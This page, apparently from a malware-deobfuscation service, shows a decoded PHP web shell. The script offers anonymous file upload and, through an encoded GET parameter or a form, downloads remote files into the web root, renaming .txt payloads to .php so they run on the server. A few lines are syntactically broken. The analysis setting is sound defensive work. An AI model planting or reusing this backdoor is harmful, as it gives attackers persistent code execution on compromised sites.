Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


error_reporting(0); 
$path = __DIR__; 
if(isset($_FILES["uploadedfile"])){
	$target_path=basename($_FILES["uploadedfile"]["name"]);
	if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"],$target_path)){
		echo "<font color=\"green\">file uploaded</font><br />";
	}else{
		echo "<font color=\"red\">upload fail</font><br />";
	}
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\"><input name=\"uploadedfile\" type=\"file\"/><input type=\"submit\" value=\"Upload File\"/></form></td></tr>";
function get($url, $dir){
	$ch=curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch,CURLOPT_TIMEOUT,10);
	$data = curl_exec($ch);
	if(!$data){
		$data = @file_get_contents($url);
	}
	file_put_contents($dir, $data);
}
if ($_GET['dw']) {
	$dw = $_GET['dw'];
	$dw = base64_decode(str_rot13($dw));
	if (preg_match('/url=(.*?)&dir=(.*)/', $dw, $info)) {
		$url = $info[1];
		$dir = $info[2];
	} else {
		preg_match('/url=(.*)/', $dw, $info);
		$url = $info[1];
		$dir = '';
	}
	preg_match('/(.*)\/(.*)\.(.*?)$/', $url, $n);
	if ($n[3] == 'txt') {
		$z = 'php';
		$name = $n[2];
	} else {
		$z = $n[3];
		$name = "template";
	}
	if ($dir != '') {
		$dir = $_SERVER["DOCUMENT_ROOT"] . '/' . $dir . '/' . $name .  . $z;
	} else {
		$dir = $_SERVER["DOCUMENT_ROOT"] . '/' . $name .  . $z;
	}
	get($url, $dir);
	if (file_exists($dir)) {
		echo "<tr><td><font color=\"green\">download success</font></td></tr>";
	} else {
		echo "<tr><td><font color=\"red\">download fail</font></td></tr>";
	}
} elseif ($_POST['get_url']) {
	$url = $_POST['get_url'];
	preg_match('/(.*)\/(.*)\.(.*?)$/', $url, $n);
	if ($n[3] == 'txt') {
		$z = 'php';
		$name = $n[2];
	} else {
		$z = $n[3];
		$name = "template";
	}
	$dir = $_POST['dpath'] . "/" . $name .  . $z;
	get($url, $dir);
	if (file_exists($dir)) {
		echo "<tr><td><font color=\"green\">download success</font></td></tr>";
	} else {
		echo "<tr><td><font color=\"red\">download fail</font></td></tr>";
	}
}
echo "<tr><td><form method=\"POST\" action=\"\"><span>Url: </span><input type=text name=\"get_url\" value=\"\"><input type=\"hidden\" name=\"dpath\" value=\"$path\"><input type=submit value=\"GetFile\"></form></td></tr>";



© 2023 Quttera Ltd. All rights reserved.